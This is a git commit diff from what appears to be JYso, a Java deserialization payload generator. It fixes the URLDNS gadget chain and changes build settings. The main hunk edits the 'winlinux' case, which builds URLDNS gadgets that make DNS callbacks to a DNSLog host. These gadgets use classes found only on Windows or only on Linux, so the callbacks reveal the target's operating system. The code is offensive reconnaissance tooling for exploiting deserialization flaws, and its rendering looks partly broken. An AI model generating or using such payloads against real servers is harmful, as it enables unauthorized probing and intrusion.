fix: 修复urldns链bug

This commit is contained in:
qi4l
2026-04-14 19:29:22 +08:00
parent f393eeb229
commit 12e1442a9d
3 changed files with 44 additions and 44 deletions
+1
View File
@@ -3,3 +3,4 @@
out/
.DS_Store
/build
1.ser
+1 -1
View File
@@ -19,7 +19,7 @@ repositories {
shadowJar {
archiveClassifier = ''
zip64 = true
// minimize()
minimize()
manifest {
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
}
@@ -537,21 +537,20 @@ public class URLDNS implements ObjectPayload<Object> {
break;
case "winlinux":
//windows/linux版本判断
String os = System.getProperty("os.name").toLowerCase();
String fsClass;
if (os.contains("win")) {
try {
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
list.add(linux);
list.add(windows);
} else {
Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem");
Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem");
list.add(linux1);
list.add(windows1);
// Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem");
// Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem");
// list.add(linux1);
// list.add(windows1);
} catch (Exception e) {
log.error("e: ", e);
}
break;
case "all":